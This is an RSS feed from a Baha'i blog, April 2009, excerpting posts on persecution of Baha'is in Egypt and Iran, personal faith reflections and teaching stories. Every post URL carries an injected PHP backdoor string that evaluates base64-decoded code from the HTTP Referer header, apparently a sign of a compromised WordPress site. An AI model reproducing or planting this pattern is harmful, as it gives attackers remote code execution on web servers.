Baha'i Views » Blogs http://www.bahaiviews.net Wed, 23 May 2012 22:57:34 +0000 en hourly 1 http://wordpress.org/?v=3.3.2 On Steps Towards Justice: Instigator and perpetrator summoned to court for incitement of violence against the Baha’is in Southern Egypt http://www.bahaiviews.net/2009/04/06/on-steps-towards-justice-instigator-and-perpetrator-summoned-to-court-for-incitement-of-violence-against-the-bahais-in-southern-egypt/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/06/on-steps-towards-justice-instigator-and-perpetrator-summoned-to-court-for-incitement-of-violence-against-the-bahais-in-southern-egypt/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 06 Apr 2009 17:51:42 +0000 george wesley dannells http://www.bahaiviews.net/?p=15219  

KathleenWhite PupaKat Egyptians Face Trial for Incitement Against Baha’is, http://bit.ly/ApaGR44 minutes ago from TweetDeck

egyptbahaiWhite egyptbahai Instigator and perpetrator summoned to court for incitement against the Baha’is: http://tinyurl.com/deojdu about 1 hour ago from web

Barmak KushaWhite barmak9This should be interesting to follow: “Egyptians Face Trial for Incitement Against Baha’is” http://is.gd/r1Sp about 1 hour ago from web
mideast-newsThe disturbing news on the latest incident involving Baha’is in Egypt, the firebombing of Baha’i homes from in a village in the Southern part of the country,  continues to unfold. I’m checking Twitter and Baha’is in Egypt.  -gw
 
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]]> http://www.bahaiviews.net/2009/04/06/on-steps-towards-justice-instigator-and-perpetrator-summoned-to-court-for-incitement-of-violence-against-the-bahais-in-southern-egypt/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 On My Advice for the Government of Iran (and a Prediction): Chill Out (Things Gonna Change) http://www.bahaiviews.net/2009/04/05/on-my-advice-for-the-government-of-iran-and-a-prediction-chill-out-things-gonna-change/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/05/on-my-advice-for-the-government-of-iran-and-a-prediction-chill-out-things-gonna-change/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 06 Apr 2009 05:36:51 +0000 george wesley dannells http://www.bahaiviews.net/?p=15181 p13565x016rWhen I read the following paragraph in the current post on Iran Press Watch, the song title to one of my a favorite songs comes to mind, “Chill Out (Things Gonna Change)” by John Lee Hooker. My advice to the government of Iran is … “Chill Out.” My prediction for that country which I dearly love is … “Things Gonna Change.” -gw

…times have changed.  In the 1980s, when these crimes [the putting to death of Baha'is] were committed against a defenseless community, there was no internet and no social networking sites.  Thus, the infrastructure for grassroots movements was not nearly as robust as it is today.  Therefore, while the Islamic Republic could come out of those unjustified killings relatively unscathed, it is now becoming virtually impossible for them to continue that practice.  Every time a Baha’i or any other Iranian is arrested on unfounded charges, the news is global within hours. Thousands of concerned citizens from all walks of life and different corners of the earth stand up and demand justice in a wide variety of forums and blogs.  Thus, the cost of administering injustice is becoming prohibitive.  Regarding the Baha’i “dilemma”: while the official policy of the Islamic Republic has been to “fight their cultural influence” both inside and outside Iran, in reality this is proving to be a losing battle.  The clerical establishment began its anti-Babi, anti-Baha’i activities over 160 years ago.  If the most brutal and inhumane killings of thousands of members of a relatively small population of Babis and Baha’is across Persia in the 1800s and early 1900s could not “solve” this “dilemma”, then where does the optimism to wipe out a now global community of 5-6 million people come from?

http://www.iranpresswatch.org/2009/04/trial-no-win/

]]> http://www.bahaiviews.net/2009/04/05/on-my-advice-for-the-government-of-iran-and-a-prediction-chill-out-things-gonna-change/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 On Bill Sears and Living Life With Compassion for Others: I remember the first year I found out what Baha’i love feels like http://www.bahaiviews.net/2009/04/05/on-bill-sears-and-living-life-with-compassion-for-others-i-remember-the-first-year-i-found-out-what-bahai-love-feels-like/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/05/on-bill-sears-and-living-life-with-compassion-for-others-i-remember-the-first-year-i-found-out-what-bahai-love-feels-like/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Sun, 05 Apr 2009 16:00:04 +0000 george wesley dannells http://www.bahaiviews.net/?p=15158 A vignette from Arlene’s blog, which is a great site to visit for news from Cluster 19 WA from her uniquely personal angle.-gw 

igbThis morning it was sunny and warm, and Enayat had some involved work he was trying to lead at the barn he is renovating, and it was hard to leave to spend the afternoon indoors. Yet, once we were there, I felt warmed by being with the Baha’is.

I remember the first year I found out what Baha’i love feels like. It was 1974/1975 and I was with the community in Pullman celebrating a holy day in the middle of the night. Candles were lit and people were singing Arabic words signifying “God is Most Glorious.” I felt this warmth and closeness I’d never experienced quite that way before. This was the same year I met William Sears, Hand of the Cause of God.

http://wienerpigs.blogspot.com/2009/04/william-sears-part-1.html

Living in a small town is not always easy but it can be the source of many hilarious lessons about life. This is a humorous novel that recounts William’s adventures and misadventures while growing up in Minnesota during the 1920′s. Relying on the practical, no-nonsense advice of his facetious grandfather, who helps him see through others’ pretenses, William begins to understand what it really means to live an upstanding life with compassion for others.
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http://www.bahaibookstore.com/productdetails.cfm?PC=4945
]]> http://www.bahaiviews.net/2009/04/05/on-bill-sears-and-living-life-with-compassion-for-others-i-remember-the-first-year-i-found-out-what-bahai-love-feels-like/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 On the Dilemma Faced by the Mullahs: Since they disolved your administration, they don’t even know who the Baha’is are anymore http://www.bahaiviews.net/2009/04/04/on-the-dilemma-faced-by-the-mullah-since-they-disolved-your-administration-they-dont-even-know-who-the-bahais-are-anymore/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/04/on-the-dilemma-faced-by-the-mullah-since-they-disolved-your-administration-they-dont-even-know-who-the-bahais-are-anymore/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Sun, 05 Apr 2009 05:36:34 +0000 george wesley dannells http://www.bahaiviews.net/?p=15149 hidden-words-at-isfahan-street-1The Baha’i Writings show up on a billboard on the streets of Isfahan, not likely placed there by Baha’is, and the post about it on IranPress Watch draws 25 comments, including the following. -gw

Since they disolved your adminstration, they don’t even know who the Baha’is are any more. There are many people in Iran who were Baha’is and didn’t want to identify themselves because you had requirements for them to sign your rolls. Now that there is no administration, these Mollahs don’t know what to do. Even their assistants are downloading your writings and Roohi books. They’ve lost control. People use filtershekan and by pass their internet censors. It’s all over. You should have no administration there even if they beg you. Your ranks have increased and as you see your writings are showing up at the hands of “trusted” government people. Iranians aren’t dumb. We just have dumb rulers. Cheers!

http://www.iranpresswatch.org/2009/04/hw-billboards/#comment-1403

Photo: http://www.iranpresswatch.org/wp-content/uploads/2009/04/hidden-words-at-isfahan-street-1.jpg

]]> http://www.bahaiviews.net/2009/04/04/on-the-dilemma-faced-by-the-mullah-since-they-disolved-your-administration-they-dont-even-know-who-the-bahais-are-anymore/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 1 On Conspiracy Theories and Religion: Even Shi’ism was accused of being created by Jews for the destruction of Sunni Islam http://www.bahaiviews.net/2009/04/02/on-conspiracy-theories-and-religion-even-shiism-was-accused-of-being-created-by-jews-for-the-destruction-of-sunni-islam/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/02/on-conspiracy-theories-and-religion-even-shiism-was-accused-of-being-created-by-jews-for-the-destruction-of-sunni-islam/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 02 Apr 2009 15:48:31 +0000 george wesley dannells http://www.bahaiviews.net/?p=14990 muhammadteachingIn light of the conspiracy theories that have been leveled at the Baha’i Faith and included even in 3rd grade textbooks in Iran, it is interesting to note that even Shi’a Islam was subject to such theories. -gw

The history of religion is filled with clashes between established and central religions and those on the periphery:  This is the case with religions before Islam in Iran, as well as with Judaism, Christianity and Islam.  Each one in their own time had to face such slander and vilification.

Even Shi’ism, which today in Iran is considered the  official and legal state religion, at the beginning of its formation was accused of being created by Jews for the destruction of Islam (Sunni religion).  Many among the followers of Sunni Islam consider a certain ‘Abdu’llah ibn Saba (who was a Jew and a resident of Kufih) as the one who formed the Shi’ite sect – a charge that Shi’ites reject.

Conspiracy theory is the easiest way to construe the emergence of any new entity.  However, from a historical point of view, it is not an effective way to confront and defend against such emerging faiths. 

http://www.iranpresswatch.org/2009/03/contact-foreign/

Image: http://bigpurpleworld.blogspot.com/2008/05/differences-between-shia-and-sunni.html

]]> http://www.bahaiviews.net/2009/04/02/on-conspiracy-theories-and-religion-even-shiism-was-accused-of-being-created-by-jews-for-the-destruction-of-sunni-islam/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 On Dragfyre in Vietnam: Wondering aloud on Doberman Pizza and Twitter http://www.bahaiviews.net/2009/04/01/on-dragfyre-in-vietnam-wondering-aloud-on-doberman-pizza-and-twitter/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/01/on-dragfyre-in-vietnam-wondering-aloud-on-doberman-pizza-and-twitter/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 02 Apr 2009 04:46:47 +0000 george wesley dannells http://www.bahaiviews.net/?p=14954

dragfyre dragfyre reading and re-reading a Baha’i pioneering doc about culture shock; all the symptoms seem to apply. praying for serenity while i adjust. 7 minutes ago from web

dragfyre dragfyre the noise here is amazing. from 7 AM to 10 PM it’s kids, roosters, motorcycles, street vendors, TVs, radios, pretty much anything 10 minutes ago from web

Dan has arrived in Vietnam. His blog has come alive with posts of the preprations and the travel experiences along the way. This what he posted before he left. Can’t wait for the pics. He said they would be coming on the morrow. -gw

3394052544_e85b1fcdbd_t I can’t wait to get on the plane and go, to end up in a completely different place. There’s just something about travel that’s given me a sort of permanent wanderlust ever since I was young. Not just the act of travelling, either—the anticipation. The sweet knowledge that you’re about to embark upon the journey of a lifetime, one that will lead you across to the other side of the planet for five whole months. Wondering aloud and quietly, what will this bright, bold and beautiful future bring?

With all these thoughts about the future, I have to pray just to keep myself grounded in the present. Thinking ahead is fun, but right now is where everything happens. So that’s where I am—right here at home (at the mall again, actually—hah), doing the most I can right now as my efforts and God’s confirmations will allow. As a closing note, I feel as though I’m starting to understand this concept of “confirmation”—you take the first step and God gets you running. Seeing this trip across the world come together piece by piece has helped show me what it means.

http://pizza.sandwich.net/2009/03/preparations.shtml

Photo: Uploaded on March 28, 2009 by dragfyre on flickr

]]> http://www.bahaiviews.net/2009/04/01/on-dragfyre-in-vietnam-wondering-aloud-on-doberman-pizza-and-twitter/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 On Teaching the Baha’i Faith Directly: It was as if she too had also learned these truths before I had a chance to say them http://www.bahaiviews.net/2009/03/31/on-teaching-the-bahai-faith-directly-it-was-as-if-she-too-had-also-learned-these-truths-before-i-had-a-chance-to-say-them/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/03/31/on-teaching-the-bahai-faith-directly-it-was-as-if-she-too-had-also-learned-these-truths-before-i-had-a-chance-to-say-them/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 31 Mar 2009 17:06:21 +0000 george wesley dannells http://www.bahaiviews.net/?p=14934

images2059 People have participated in Direct Teaching!!!

We have had 59 people participate in direct teaching so far this cycle! This has resulted in 8 enrollments thus far, all of whom are receiving consistent follow-up home visits for the purpose of relating the deepening themes. Thanks to those of you in the field of action displaying your hard work! May blessings rain down upon you!

Ya-Baha’u’llabha!!

In news from the Triangle, teaching the Baha’i Faith directly can be surprising even to the teacher, as the following entry attests. -gw

She read along the quotes with me and was visibly moved by them and offered her understanding of what she read. During the presentation she seemed to be able to anticipate precisely the next point and offered her interpretation – it was as if she too had also learned these truths before I had a chance to say them. This alone was a very surreal experience and I have never had this happen before. I was at a loss for words and even had to take a moment to collect my thoughts as her interpretation of the quotes included the deeper meaning and were completely on target. By the time we finished the page about The Plight of Humanity, The Promise of This Day she said she said she wanted to become a member of the Baha’i Faith as she was moved to learn about the promise of this day. She signed her card and I continued to share Anna’s presentation until the end. Every time either she or I read a quote she was so physically impacted by the words that she could barely sit still and interrupted to share how confirming everything was! She was happy to learn about study classes and is eager to start this weekend.

http://triangleatc.blogspot.com/2009/03/teaching-story-from-dc.html

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